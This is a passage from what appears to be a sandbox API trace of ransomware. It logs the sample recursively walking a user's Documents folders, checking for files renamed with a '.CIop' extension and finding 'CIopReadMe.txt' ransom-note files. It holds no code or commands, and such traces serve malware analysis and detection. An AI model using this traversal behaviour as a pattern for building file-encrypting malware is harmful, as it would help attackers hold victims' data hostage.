lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0f8 [0138.475] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0138.475] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0138.475] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.475] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.475] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.475] lstrcmpW (lpString1="-3ostnyb", lpString2="..") returned 1 [0138.475] lstrcmpW (lpString1="-3ostnyb", lpString2=".") returned 1 [0138.475] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0138.475] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0138.475] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0138.475] SetErrorMode (uMode=0x1) returned 0x1 [0138.475] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0138.475] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0138.475] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0138.475] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0138.475] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0138.475] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0138.475] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0138.475] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.475] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.475] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2="..") returned 1 [0138.475] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2=".") returned 1 [0138.475] lstrlenW (lpString=".CIop") returned 5 [0138.475] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.475] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.475] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.475] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.475] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.475] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.475] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.475] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2="..") returned 1 [0138.475] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2=".") returned 1 [0138.475] lstrlenW (lpString=".CIop") returned 5 [0138.475] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.476] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2="..") returned 1 [0138.476] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2=".") returned 1 [0138.476] lstrlenW (lpString=".CIop") returned 5 [0138.476] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.476] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.476] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.476] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0138.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0138.476] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67ddf8 [0138.476] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0138.476] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0138.476] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.476] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.476] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.476] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.476] lstrcmpW (lpString1="2pWzntbD", lpString2="..") returned 1 [0138.476] lstrcmpW (lpString1="2pWzntbD", lpString2=".") returned 1 [0138.476] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0138.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0138.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0138.476] SetErrorMode (uMode=0x1) returned 0x1 [0138.476] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0138.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0138.476] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0138.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0138.476] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e2b8 [0138.476] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0138.476] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0138.476] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.476] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.477] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2="..") returned 1 [0138.477] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2=".") returned 1 [0138.477] lstrlenW (lpString=".CIop") returned 5 [0138.477] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.477] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.477] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.477] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.477] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.477] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2="..") returned 1 [0138.477] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2=".") returned 1 [0138.477] lstrlenW (lpString=".CIop") returned 5 [0138.477] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.477] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2="..") returned 1 [0138.477] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2=".") returned 1 [0138.477] lstrlenW (lpString=".CIop") returned 5 [0138.477] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0138.477] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.477] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.477] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0138.477] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0138.477] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dd78 [0138.477] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0138.477] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0138.477] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.477] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.477] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.477] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.477] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.477] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.477] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0138.477] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0138.477] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0138.478] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.478] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2="..") returned 1 [0138.478] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2=".") returned 1 [0138.478] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0138.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0138.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0138.478] SetErrorMode (uMode=0x1) returned 0x1 [0138.478] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0138.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0138.478] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0138.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0138.478] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e2b8 [0138.478] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0138.478] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0138.478] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.478] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.478] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.478] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.478] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.478] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.478] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2="..") returned 1 [0138.478] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2=".") returned 1 [0138.478] lstrlenW (lpString=".CIop") returned 5 [0138.478] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.478] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2="..") returned 1 [0138.478] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2=".") returned 1 [0138.478] lstrlenW (lpString=".CIop") returned 5 [0138.478] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.478] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2="..") returned 1 [0138.478] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2=".") returned 1 [0138.478] lstrlenW (lpString=".CIop") returned 5 [0138.478] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.478] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2="..") returned 1 [0138.478] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2=".") returned 1 [0138.478] lstrlenW (lpString=".CIop") returned 5 [0138.478] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0138.478] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.478] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.479] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0138.479] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0138.479] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dc78 [0138.479] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0138.479] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0138.479] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.479] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.479] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.479] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.479] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.479] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.479] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.479] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 